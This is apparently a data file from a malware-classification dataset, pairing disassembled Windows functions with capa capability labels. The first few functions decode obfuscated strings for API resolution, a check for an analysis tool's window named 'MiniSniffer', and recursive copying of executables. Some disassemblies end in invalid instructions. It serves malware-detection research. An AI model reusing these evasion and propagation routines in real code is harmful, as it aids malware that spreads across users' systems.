joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49ed70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x53
mov byte [ebp - 0x20], 0x79
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6d
mov byte [ebp - 0x1b], 0x44
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x72
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x24]
push eax
call fcn.0049ee80
add esp, 4
mov dword [ebp - 0x10], eax
push 0x1c368da0
call fcn.0049ec70
add esp, 4
mov dword [ebp - 0xc], eax
push 0x104
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x3c]
mov dl, byte [ecx]
mov byte [ebp - 0x41], dl
add dword [ebp - 0x3c], 1
cmp byte [ebp - 0x41], 0
jne 0x49ee00
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x48]
mov byte [ecx - 2], 0
push 0x100050f0
mov edx, dword [ebp + 8]
push edx
call fcn.0049ed00
add esp, 8
call dword [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.0049ea50
add esp, 0xc
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0049ed00
add esp, 8
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0049ed00
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x49efe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push 0x74e3bb2e
call fcn.0049ec70
add esp, 4
mov dword [ebp - 0x16c], eax
push 0x3749ca10
call fcn.0049ec70
add esp, 4
mov dword [ebp - 0x14], eax
push 0x49f43cb7
call fcn.0049ec70
add esp, 4
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x28], 0x23ec5044
mov dword [ebp - 0x24], 0x33af2093
push 0
push 2
call dword [ebp - 0x16c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x158], 0x128
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [ebp - 0x14]
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea edx, [ebp - 0xc]
push edx
call dword [0x10005040]
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jne 0x49f0a7
lea eax, [ebp - 0xc]
push eax
call dword [0x10005038]
mov dword [ebp - 0x168], eax
mov byte [ebp - 0x164], 0x45
mov byte [ebp - 0x163], 0x6e
mov byte [ebp - 0x162], 0x75
mov byte [ebp - 0x161], 0x6d
mov byte [ebp - 0x160], 0x57
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x6e
mov byte [ebp - 0x15d], 0x64
mov byte [ebp - 0x15c], 0x6f
mov byte [ebp - 0x15b], 0x77
mov byte [ebp - 0x15a], 0x73
mov byte [ebp - 0x159], 0
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0x168]
push edx
call dword [0x10005080]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x150]
push ecx
call fcn.0049eeb0
add esp, 8
test eax, eax
je 0x49f191
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x150]
push eax
call fcn.0049eeb0
add esp, 8
test eax, eax
je 0x49f191
lea ecx, [ebp - 0x134]
push ecx
push 0x100050d0
call dword [0x1000507c]
test eax, eax
je 0x49f191
mov dword [0x10007128], 0
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x174], edx
lea eax, [ebp - 0x174]
push eax
push 0x10001550
call dword [ebp - 0x10]
cmp dword [0x10007128], 0xa
jbe 0x49f18d
mov eax, 1
jmp 0x49f1f3
xor eax, eax
jmp 0x49f1f3
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [ebp - 0x170]
test eax, eax
jne 0x49f112
mov byte [ebp - 0x20], 0x4d
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x66
mov byte [ebp - 0x18], 0x66
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x20]
push eax
push 0
call dword [0x10005098]
test eax, eax
je 0x49f1f1
mov eax, 1
jmp 0x49f1f3
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4a1350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
push 0x40566d67
call fcn.0049ec70
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x10005088]
push 0x100050b0
lea edx, [ebp - 0x110]
push edx
call fcn.0049ed00
add esp, 8
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x1000502c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4a13b0
jmp 0x4a1605
cmp dword [ebp - 0x250], 0x10
jne 0x4a141f
movsx edx, byte [ebp - 0x224]
cmp edx, 0x2e
je 0x4a141f
mov byte [ebp - 0x254], 0x5c
mov byte [ebp - 0x253], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x360]
push ecx
call dword [0x10005088]
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x360]
push eax
call fcn.0049ed00
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x360]
push edx
call fcn.0049ed00
add esp, 8
lea eax, [ebp - 0x360]
push eax
call fcn.004a1350
add esp, 4
push 0x100050b8
lea ecx, [ebp - 0x224]
push ecx
call fcn.004a0900
add esp, 8
test eax, eax
je 0x4a14a5
lea edx, [ebp - 0x224]
push edx
call dword [0x10005084]
movsx eax, byte [ebp + eax - 0x225]
cmp eax, 0x74
jne 0x4a14a5
mov byte [ebp - 0x46c], 0x5c
mov byte [ebp - 0x46b], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x468]
push edx
call dword [0x10005088]
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005028]
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x468]
push eax
call dword [0x10005028]
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005064]
push 0x100050c0
lea edx, [ebp - 0x224]
push edx
call fcn.004a0900
add esp, 8
test eax, eax
je 0x4a15e2
lea eax, [ebp - 0x224]
push eax
call dword [0x10005084]
movsx ecx, byte [ebp + eax - 0x225]
cmp ecx, 0x65
jne 0x4a15e2
mov byte [ebp - 0x57c], 0x5c
mov byte [ebp - 0x57b], 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x578]
push eax
call dword [0x10005088]
lea ecx, [ebp - 0x57c]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.0049ed00
add esp, 8
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x578]
push ecx
call fcn.0049ed00
add esp, 8
push 0
lea edx, [ebp - 0x578]
push edx
call fcn.004a0960
add esp, 8
movzx eax, al
test eax, eax
je 0x4a15e2
push 0x104
lea ecx, [ebp - 0x698]
push ecx
call dword [0x10005024]
mov byte [ebp - 0x58c], 0x5c
mov byte [ebp - 0x58b], 0x5c
mov byte [ebp - 0x58a], 0x73
mov byte [ebp - 0x589], 0x79
mov byte [ebp - 0x588], 0x73
mov byte [ebp - 0x587], 0x74
mov byte [ebp - 0x586], 0x65
mov byte [ebp - 0x585], 0x6d
mov byte [ebp - 0x584], 0x2e
mov byte [ebp - 0x583], 0x65
mov byte [ebp - 0x582], 0x78
mov byte [ebp - 0x581], 0x65
mov byte [ebp - 0x580], 0
lea edx, [ebp - 0x58c]
push edx
lea eax, [ebp - 0x698]
push eax
call dword [0x10005028]
lea ecx, [ebp - 0x698]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.004a0960
add esp, 8
push 0x64
call dword [ebp - 4]
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [0x1000503c]
test eax, eax
jne 0x4a13b0
mov edx, dword [ebp - 8]
push edx
call dword [0x1000505c]
mov esp, ebp
pop ebp
ret
Function at 0x686611e9
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x68f3a018]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [0x68f3a018]
add eax, edx
add eax, 0x18
mov dword [ebp - 0xc], eax
jmp 0x68661293
jmp 0x6866131d
jmp 0x686613a7
jmp 0x68661431
jmp 0x686614bb
jmp 0x68661545
jmp 0x686615cf
jmp 0x68661659
jmp 0x686616e3
jmp 0x6866176d
jmp 0x686617f7
jmp 0x68661881
jmp 0x6866190b
jmp 0x68661995
mov dword [ebp - 0x14], 0
jmp 0x68661a26
jmp 0x68661ab0
jmp 0x68661b3a
jmp 0x68661bc4
jmp 0x68661c4e
jmp 0x68661cd8
jmp 0x68661d62
jmp 0x68661dec
jmp 0x68661e76
jmp 0x68661f00
jmp 0x68661f8a
jmp 0x68662014
jmp 0x6866209e
jmp 0x68662128
mov dword [ebp - 0x18], 0
jmp 0x686621b9
jmp 0x68662243
jmp 0x686622cd
jmp 0x68662357
jmp 0x686623e1
jmp 0x6866246b
jmp 0x686624f5
jmp 0x6866257f
jmp 0x68662609
jmp 0x68662693
jmp 0x6866271d
jmp 0x686627a7
jmp 0x68662831
jmp 0x686628bb
mov dword [ebp - 0x10], 0
jmp 0x6866294c
jmp 0x686629d6
jmp 0x68662a60
jmp 0x68662aea
jmp 0x68662b74
jmp 0x68662bfe
jmp 0x68662c88
jmp 0x68662d12
jmp 0x68662d9c
jmp 0x68662e26
jmp 0x68662eb0
jmp 0x68662f3a
jmp 0x68662fc4
jmp 0x6866304e
mov dword [ebp - 0x10], 0
jmp 0x6866565e
jmp 0x686630e4
jmp 0x6866316e
jmp 0x686631f8
jmp 0x68663282
jmp 0x6866330c
jmp 0x68663396
jmp 0x68663420
jmp 0x686634aa
jmp 0x68663534
jmp 0x686635be
jmp 0x68663648
jmp 0x686636d2
jmp 0x6866375c
jmp 0x686637e6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [0x68f3a014]
add eax, edx
mov dword [ebp - 0x14], eax
jmp 0x68663881
jmp 0x6866390b
jmp 0x68663995
jmp 0x68663a1f
jmp 0x68663aa9
jmp 0x68663b33
jmp 0x68663bbd
jmp 0x68663c47
jmp 0x68663cd1
jmp 0x68663d5b
jmp 0x68663de5
jmp 0x68663e6f
jmp 0x68663ef9
jmp 0x68663f83
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov edx, dword [0x68f3a01c]
add eax, edx
mov dword [ebp - 0x18], eax
jmp 0x6866401e
jmp 0x686640a8
jmp 0x68664132
jmp 0x686641bc
jmp 0x68664246
jmp 0x686642d0
jmp 0x6866435a
jmp 0x686643e4
jmp 0x6866446e
jmp 0x686644f8
jmp 0x68664582
jmp 0x6866460c
jmp 0x68664696
jmp 0x68664720
mov eax, dword [0x68f3a008]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0x10]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x14]
mov dword [esp], edx
call eax
jmp 0x686647c8
jmp 0x68664852
jmp 0x686648dc
jmp 0x68664966
jmp 0x686649f0
jmp 0x68664a7a
jmp 0x68664b04
jmp 0x68664b8e
jmp 0x68664c18
jmp 0x68664ca2
jmp 0x68664d2c
jmp 0x68664db6
jmp 0x68664e40
jmp 0x68664eca
add dword [ebp - 0xc], 0x28
jmp 0x68664f58
jmp 0x68664fe2
jmp 0x6866506c
jmp 0x686650f6
jmp 0x68665180
jmp 0x6866520a
jmp 0x68665294
jmp 0x6866531e
jmp 0x686653a8
jmp 0x68665432
jmp 0x686654bc
jmp 0x68665546
jmp 0x686655d0
jmp 0x6866565a
add dword [ebp - 0x10], 1
mov eax, dword [0x68f3a018]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x10]
ja 0x6866305a
nop
leave
ret
Function at 0x4011a0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
xor ebx, ebx
push edi
test eax, eax
je 0x401284
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, 0xffffffff
je 0x401284
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40127d
cmp dword [ebp + 0xc], esi
je 0x4011fe
inc ebx
xor esi, esi
test ebx, ebx
je 0x40122f
lea edi, [ebx + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40122c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, dword [ebp - 4]
mov dword [ebp + 0xc], esi
test esi, esi
je 0x40127a
push 0
lea ecx, [ebp - 4]
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40127a
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401273
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp + 0xc], 0
mov esi, dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
test edi, edi
je 0x4012a5
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
mov eax, esi
jne 0x4012a7
mov dword [edi], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x401390
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push esi
push 0x40
lea eax, [ebp - 0x58]
push 0
push eax
mov dword [ebp - 0x5c], 0
call sub.MSVCRT.dll_memset
xor eax, eax
push 0x103
add byte [eax - 0x73], dl
lea ebx, [ebp + 0x51fffffe]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], al
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
add byte [ebp - 0x72ae13b3], cl
push ebp
movsb byte es:[edi], byte [esi]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40143d
mov ecx, dword [ebp - 0x10]
invalid
invalid

Function at 0x401450
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
push edi
xor eax, eax
invalid
Function at 0x41b0e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
mov edx, dword [ebp + 0x10]
push edi
lea edi, [edx + 2]
nop
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41b0f0
mov ecx, dword [ecx + 4]
sub edx, edi
sar edx, 1
test ecx, ecx
jne 0x41b110
lea eax, [ecx + 6]
pop edi
mov esp, ebp
pop ebp
ret 0x10
lea eax, [edx*2 + 2]
push eax
push dword [ebp + 0x10]
push 1
push 0
push dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x41b2a0
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x557c60
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x2c0
mov eax, dword [0x60b3c4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x224], esi
push 0
push 0x2c
lea eax, [ebp - 0x220]
mov dword [ebp - 0x224], esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x41b3aa
call fcn.0045b3b0
push 2
lea ecx, [ebp - 0x2d0]
push ecx
mov ecx, eax
call fcn.0045b920
lea edx, [ebp - 0x228]
mov dword [ebp - 0x228], str...includesNGIUtils.cpp
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x224], 0x32
call fcn.00418540
mov edx, str.Failed_to_get_common_files_dir
lea ecx, [ebp - 0x2d0]
call fcn.004185a0
lea ecx, [ebp - 0x278]
call fcn.00459e90
lea eax, [ebp - 0x278]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004f7d4c
add esp, 4
mov dword [ebp - 4], 0xffffffff
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
push 0
push 0x5e4c28
mov dword [esi + 0x14], 0
call fcn.00417c00
jmp 0x41b3ec
sub esp, 8
mov eax, esp
sub esp, 8
mov edx, esp
mov dword [eax], str.McAfeeNGI
mov dword [eax + 4], 0xa
lea eax, [ebp - 0x220]
mov dword [edx], eax
lea edi, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x41b3d0
sub eax, edi
mov ecx, esi
sar eax, 1
mov dword [edx + 4], eax
call fcn.0045cbb0
add esp, 0x10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0050fd4b
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x41dae0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x557eb1
mov eax, dword fs:[0]
push eax
sub esp, 0x148
push esi
push edi
mov eax, dword [0x60b3c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.Batch
push 0x66
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x41db97
call fcn.0045b3b0
push 1
lea ecx, [ebp - 0xb4]
push ecx
mov ecx, eax
call fcn.0045b920
mov dword [ebp - 4], esi
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x14], str.BatchFileTemplateLoader.cpp
mov dword [ebp - 0x10], 0x38
call fcn.00418540
mov edx, str.Failed_to_find_batch_template_resource.
lea ecx, [ebp - 0xb4]
call fcn.004185a0
lea eax, [ebp - 0xb4]
push eax
call fcn.0041dd50
add esp, 4
lea ecx, [ebp - 0x5c]
call fcn.00459e90
mov dword [ebp - 4], 1
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], vtable.std::ios_base.0
jmp 0x41dd25
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x41dc1b
call fcn.0045b3b0
push 1
lea ecx, [ebp - 0xb4]
push ecx
mov ecx, eax
call fcn.0045b920
mov dword [ebp - 4], 2
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x14], str.BatchFileTemplateLoader.cpp
mov dword [ebp - 0x10], 0x3f
call fcn.00418540
mov edx, str.Failed_to_load_batch_template_resource.
lea ecx, [ebp - 0xb4]
call fcn.004185a0
lea eax, [ebp - 0xb4]
push eax
call fcn.0041dd50
add esp, 4
lea ecx, [ebp - 0x5c]
call fcn.00459e90
mov dword [ebp - 4], 3
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], vtable.std::ios_base.0
jmp 0x41dd25
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
jne 0x41dc9d
call fcn.0045b3b0
push 1
lea ecx, [ebp - 0xb4]
push ecx
mov ecx, eax
call fcn.0045b920
mov dword [ebp - 4], 4
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x14], str.BatchFileTemplateLoader.cpp
mov dword [ebp - 0x10], 0x47
call fcn.00418540
mov edx, str.Empty_batch_template_resource.
lea ecx, [ebp - 0xb4]
call fcn.004185a0
lea eax, [ebp - 0xb4]
push eax
call fcn.0041dd50
add esp, 4
lea ecx, [ebp - 0x5c]
call fcn.00459e90
mov dword [ebp - 4], 5
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], vtable.std::ios_base.0
jmp 0x41dd25
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
jne 0x41dd30
call fcn.0045b3b0
push 1
lea ecx, [ebp - 0x154]
push ecx
mov ecx, eax
call fcn.0045b920
mov dword [ebp - 4], 6
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x154]
mov dword [ebp - 0x14], str.BatchFileTemplateLoader.cpp
mov dword [ebp - 0x10], 0x4f
call fcn.00418540
mov edx, str.Failed_to_lock_batch_template_resource.
lea ecx, [ebp - 0x154]
call fcn.004185a0
lea eax, [ebp - 0x154]
push eax
call fcn.0041dd50
add esp, 4
lea ecx, [ebp - 0xfc]
call fcn.00459e90
mov dword [ebp - 4], 7
lea eax, [ebp - 0xfc]
mov dword [ebp - 0xfc], vtable.std::ios_base.0
push eax
call fcn.004f7d4c
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x41ffe0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x558200
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x60b3c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.0050fd59
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.004f7ab4
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x424300
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x3c
mov eax, dword [0x60b3c4]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
push ebp
mov ebp, edx
mov ebx, ecx
push esi
push edi
mov dword [esp + 0x24], ebp
mov edi, dword [ebp + 4]
mov dword [esp + 0x2c], ebx
test edi, edi
jns 0x424359
cmp dword [ebp], 0
jg 0x424359
mov edx, dword [esp + 0x5c]
mov ecx, dword [esp + 0x58]
push dword [esp + 0x50]
lea edx, [ecx + edx*2]
call fcn.00420fb0
add esp, 4
mov dword [ebx], edx
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.0050fd4b
add esp, 0x3c
ret
mov ecx, dword [esp + 0x58]
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x44], 0
mov dword [esp + 0x34], ecx
mov dword [esp + 0x3c], 0
lea ebx, [ecx + eax*2]
mov dword [esp + 0x40], 0
lea eax, [esp + 0x40]
mov dword [esp + 0x18], ebx
push eax
mov edx, ebx
mov dword [esp + 0x3c], ebx
call fcn.00427a60
mov ebx, dword [esp + 0x38]
add esp, 4
xor esi, esi
mov dword [esp + 0x3c], eax
mov byte [esp + 0x44], 0
cmp ebx, dword [esp + 0x38]
je 0x424416
nop dword [eax]
mov dword [esp + 0x14], esi
cmp esi, edi
jne 0x4243bc
test edi, edi
jns 0x424416
mov edx, dword [esp + 0x40]
mov ecx, 1
mov eax, 0x5e7bc0
nop word [eax + eax]
cmp edx, dword [eax]
jb 0x4243e6
add eax, 4
xor ecx, 3
cmp eax, 0x5e7c30
jne 0x4243d0
mov ecx, 1
mov eax, SysReAllocString
sub eax, ecx
cmp eax, esi
jl 0x4244a4
add esi, ecx
cmp esi, edi
jle 0x424403
test edi, edi
jns 0x42449b
lea ecx, [esp + 0x34]
call fcn.004275a0
mov ebx, dword [esp + 0x34]
cmp ebx, dword [esp + 0x38]
jne 0x4243b0
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x58]
xor ebx, ebx
mov ecx, dword [esp + 0x50]
xor edi, edi
mov dword [esp + 0x1c], eax
mov al, byte [ebp + 9]
mov ebp, dword [ebp]
test al, al
movzx edx, al
mov dword [esp + 0x14], 1
cmove edx, dword [esp + 0x14]
cmp esi, ebp
jge 0x424469
movzx eax, dl
sub eax, 1
je 0x4244bc
sub eax, 1
je 0x4244b6
sub eax, 1
jne 0x424469
mov eax, ebp
mov edi, ebp
sub eax, esi
cdq
sub eax, edx
mov ebx, eax
sar ebx, 1
sub edi, ebx
sub edi, esi
mov eax, dword [esp + 0x24]
lea esi, [eax + 0x10]
movzx eax, byte [eax + 0xe]
test ebx, ebx
jle 0x4244cb
add eax, eax
mov dword [esp + 0x14], eax
lea ebp, [eax + esi]
push ecx
mov edx, ebp
mov ecx, esi
call fcn.00420fb0
dec ebx
add esp, 4
mov ecx, edx
test ebx, ebx
jg 0x424481
mov ebx, dword [esp + 0x14]
jmp 0x4244ce
mov esi, dword [esp + 0x14]
jmp 0x424416
test edi, edi
jns 0x424416
mov esi, SysReAllocString
jmp 0x42441a
mov ebx, ebp
sub ebx, esi
jmp 0x424469
mov eax, dword [esp + 0x24]
mov edi, ebp
sub edi, esi
lea esi, [eax + 0x10]
movzx eax, byte [eax + 0xe]
lea ebx, [eax + eax]
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
sub edx, eax
sar edx, 1
push ecx
mov ecx, eax
lea edx, [eax + edx*2]
call fcn.00420fb0
add esp, 4
test edi, edi
jle 0x424502
add ebx, esi
nop
push edx
mov edx, ebx
mov ecx, esi
call fcn.00420fb0
dec edi
add esp, 4
test edi, edi
jg 0x4244f0
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x48]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov dword [eax], edx
call fcn.0050fd4b
add esp, 0x3c
ret